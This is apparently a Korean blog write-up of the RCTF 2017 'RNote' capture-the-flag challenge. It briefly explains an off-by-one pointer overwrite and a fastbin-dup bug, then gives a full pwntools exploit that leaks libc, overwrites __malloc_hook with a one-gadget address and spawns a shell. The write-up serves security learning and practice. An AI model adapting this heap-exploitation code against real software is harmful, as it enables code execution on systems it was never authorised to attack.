-
RCTF 2017 RNOTEPwnable/CTF 2017. 11. 8. 10:43
여기서 중요한 점은 add를 할때 전역 변수에 입력을 해주는데 이때 16byte 뒤에 포인터가 있는데 16byte가 아닌 off by one으로 인하여 1byte를 변조 할 수 있다.
free되었는지 확인도 안 하기 때문에 fastbin dup 취약점이 있다.
끝 ㅎ123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081from pwn import *p=process("./RNote")elf=ELF("./RNote")def add(size,title,content):p.recvuntil(': ')p.sendline("1")p.recvuntil(': ')p.sendline(str(size))p.recv(1024)p.sendline(title)p.recv(1024)p.send(content)def add_full(size,title):p.recvuntil(': ')p.sendline("1")p.recvuntil(': ')p.sendline(str(size))p.recv(1024)p.sendline(title)def fulladd(size,title):p.recvuntil(': ')p.sendline("1")p.recvuntil(': ')p.sendline(str(size))p.recv(1024)p.sendline(title)def delete(idx):p.recvuntil(': ')p.sendline("2")p.recvuntil(': ')p.sendline(str(idx))def show(idx):p.recvuntil(': ')p.sendline("3")p.recvuntil(': ')p.sendline(str(idx))add(256,"AAAA","BBBB")add(256,"CCCC","DDDD")delete(0)add(256,"CCCC","D"*7)show(0)print p.recvuntil('content: ')p.recvuntil('D'*7+"\x00")main_arena = u64(p.recv(6)+"\x00\x00") - 88malloc_hook = main_arena - 0x10libc_base = malloc_hook - 0x3c4b10one_shot = libc_base + 0xf1117print hex(main_arena)print hex(malloc_hook)delete(0)delete(1)add(90,"ZZZZZZZ","eeee")add(90,"zzzzzzz","eeee")add_full(90,"e"*16+"\x10"+"eeee")delete(0)delete(1)delete(2)add(90,"AAAA",p64(malloc_hook-0x23))add(90,"AAAA","BBBB")add(90,"CCCC","DDDD")add(90,"PPP","B"*19+p64(one_shot))p.interactive()cs RCTF 문제는 정말 재미있는 것 같다.
'Pwnable > CTF' 카테고리의 다른 글
TUCTF 2017 Write up (0) 2017.11.27 CAT_SECURITY WhiteHackerLeague (2) 2017.11.19 RCTF 2017 AirCraft (0) 2017.11.08 RCTF 2015 SHAXPIAN (0) 2017.11.04 RCTF 2015 welpwn (0) 2017.11.04